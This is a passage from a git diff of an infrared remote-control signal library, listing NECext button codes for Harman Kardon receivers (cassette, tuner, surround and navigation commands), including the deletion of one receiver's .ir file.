SURR_CENTER_LVL_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D9 00 00 00 -# -name: CENTER_LEVEL+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D9 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D9 00 00 00 -# -name: SURR_CENTER_LVL_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DA 00 00 00 -# -name: CENTER_LEVEL- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DA 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DA 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: CH+_/_SLEEP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: SLEEP/CH_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DC 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DC 00 00 00 -# -name: DIM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DC 00 00 00 -# -name: THE_BRIDGE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F1 00 00 00 -# -name: SOURCE_THE_BRIDGE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F1 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F2 00 00 00 -# -name: IN_HDMI_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F2 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F2 00 00 00 -# -name: IN_HDMI_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F3 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F3 00 00 00 -# -name: XM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: F4 00 00 00 -# -name: VIDEO_MODES -type: parsed -protocol: NECext -address: 80 70 00 00 -command: FB 00 00 00 -# -name: IN_HDMI_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: FC 00 00 00 -# -name: AVR30_0/9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir deleted file mode 100644 index 9afa62106..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir +++ /dev/null @@ -1,1688 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CAS.PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CASS_PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CASS_TRACK+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CASS_FAST_FORWARD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CASS.DECK_PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: TAPE1_PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: TAPE_PLAY_>_(AF) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CAS.REV.PLAY_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS_REV_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS_REV.PLAY_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS_TRACK- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS_REWIND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS.DECK_REV_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: TAPE1_REV_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: TAPE_REV_PLAY_<_(FM) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CAS.STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CASS_STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CASS_STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CASS_DECK_STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CASS.DECK_STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: TAPE1_STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: TAPE_STOP_[]_(RDS) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CAS.F.FWD_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS_FWD_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS_F.FWD_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS_SCAN+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS_SEARCH>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS.DECK_FF_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: TAPE1_TUNE/SRCH_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: TAPE_TUNE/SCH_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CAS.REW_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CASS_REW_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CASS_SCAN- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CASS_SEARCH<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CASS.DECK_REW_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: TAPE1_TUNE/SRCH_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: TAPE_TUNE/SCH_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CAS.REC/PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CASS_REC/PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CASS_PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CASS_RECORD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CASS.DECK_REC/PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: TAPE1_PAUSE_ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: TAPE_REC/PAUSE_(PTY) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CAS.SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: CASS_SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: CASS.DECK_SRCH_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: TAPE1_CHAN/SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: TAPE_SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: CAS.SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: CASS_SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: CASS.DECK_SRCH_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: TAPE1_CHAN/SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: TAPE_SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: #_(P-SCAN) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 0A 00 00 00 -# -name: CASS_SELECT_A/B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1D 00 00 00 -# -name: CASS_A-B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1D 00 00 00 -# -name: TAPE1_DISC/DECK/ANT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1D 00 00 00 -# -name: TAPE_PRESET_DISC_+/- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1D 00 00 00 -# -name: CASS_A/B_(SELECT) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: DVD_POWER_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: DVD_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2B 00 00 00 -# -name: DVD_STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2D 00 00 00 -# -name: SKIP_NER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: DVD_SKIP_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: SKIP_UPP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: DVD_SKIP_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: TAPE1_SOURCE_POW_ON -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 40 00 00 00 -# -name: TAPE_ON_(SRCE_PWR) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 40 00 00 00 -# -name: TAPE1_SOURCE_POW_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 41 00 00 00 -# -name: TAPE_OFF_(SRCH_PWR) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 41 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: DOLBY_SUR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: AC-3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 52 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 52 00 00 00 -# -name: PREV_CH_/_DELAY_/_BL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 52 00 00 00 -# -name: PREV._CH./DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 52 00 00 00 -# -name: SPKR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 53 00 00 00 -# -name: SPEAKER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 53 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 53 00 00 00 -# -name: MENU_/_SPKR_/_GRE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 53 00 00 00 -# -name: MENU/SPKR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 53 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 54 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 54 00 00 00 -# -name: EXIT_/_DIGITAL_/_YEL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 54 00 00 00 -# -name: EXIT/DIGITAL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 54 00 00 00 -# -name: RF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 55 00 00 00 -# -name: OPT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 56 00 00 00 -# -name: OPTICAL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 56 00 00 00 -# -name: COAX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 57 00 00 00 -# -name: CHAN_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 58 00 00 00 -# -name: CH-_/_SURR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 58 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 58 00 00 00 -# -name: SURR./CH_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 58 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 58 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5C 00 00 00 -# -name: AVR_(MENY) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5C 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5C 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CHANNEL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CH. -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: GUIDE_/_CH_/_RED -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: GUIDE/CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CH_SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CH._SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: ON_SCREEN_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: ON_SCREEN_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: SELECT_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: ON_SCREEN_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: ON_SCREEN_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: SELECT_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: ON_SCREEN_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: ON_SCREEN_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: SELECT_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: ON_SCREEN_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: ON_SCREEN_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: SELECT_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: ON_SCREEN_ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: ON_SCREEN_ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: CURSOR_SET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: SURROUND_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 85 00 00 00 -# -name: SURROUND_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 86 00 00 00 -# -name: EFFECTS_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 87 00 00 00 -# -name: EFFECTS_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 88 00 00 00 -# -name: SURROUND_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 89 00 00 00 -# -name: SURR_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 89 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 89 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 89 00 00 00 -# -name: SURROUND_DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8A 00 00 00 -# -name: SURR_DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8A 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8A 00 00 00 -# -name: SURR_TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: T/V_/_TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: SURR_CENT_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8D 00 00 00 -# -name: CENTER_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8D 00 00 00 -# -name: CENT_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8D 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8D 00 00 00 -# -name: SPEAKER_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8E 00 00 00 -# -name: SPEAKER_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8E 00 00 00 -# -name: SPEAKER_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8F 00 00 00 -# -name: SPEAKER_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8F 00 00 00 -# -name: SURROUND_HALL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 90 00 00 00 -# -name: SURR_HALL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 90 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 90 00 00 00 -# -name: CLUB -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 91 00 00 00 -# -name: SURROUND_THEATER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 92 00 00 00 -# -name: THEATER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 92 00 00 00 -# -name: SIM.SURR. -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 93 00 00 00 -# -name: SIM._SURR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 93 00 00 00 -# -name: MATRIX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 93 00 00 00 -# -name: SURROUND_STADIUM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 94 00 00 00 -# -name: STADIUM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 94 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 95 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 96 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 96 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: PIL_UPP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 99 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: PIL_NER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9A 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9B 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9B 00 00 00 -# -name: STEREO/BYPASS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9B 00 00 00 -# -name: VMAX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9C 00 00 00 -# -name: SURROUND_3_STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: SURR_3STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: SURROUND_3-CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: 3-CH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: 3_ST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: 3_CHAN._STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9E 00 00 00 -# -name: SURROUND_PRO-LOGIC -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: SURR_PRO-LOGIC -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: PRO-LOGIC -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: P/L -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A0 00 00 00 -# -name: DTS_SURR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A0 00 00 00 -# -name: DTS_SUR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A0 00 00 00 -# -name: DTS_SURROUND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A0 00 00 00 -# -name: DTS_NEO:6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A1 00 00 00 -# -name: DTS_NEO:6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A1 00 00 00 -# -name: DTS_NEO_6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A1 00 00 00 -# -name: DTS_NEO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A1 00 00 00 -# -name: LOGIC_7 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A2 00 00 00 -# -name: AUDIO_EFFECTS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A7 00 00 00 -# -name: SURROUND_MODES -type: parsed -protocol: NECext -address: 82 72 00 00 -command: A8 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C1 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C1 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C1 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C1 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C1 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C2 00 00 00 -# -name: SPEAKER_1 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C3 00 00 00 -# -name: SPEAKERS_1 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C3 00 00 00 -# -name: SPEAKER_2 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C4 00 00 00 -# -name: SPEAKERS_2 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C4 00 00 00 -# -name: TONE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: C5 00 00 00 -# -name: PRES+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PSET_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: AM/FM_PRESET_DISC_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: FM_PRESET_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRES- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PSET_DN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: AM/FM_PRESET_DISC_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: FM_PRESET_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: AM/FM_SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D2 00 00 00 -# -name: 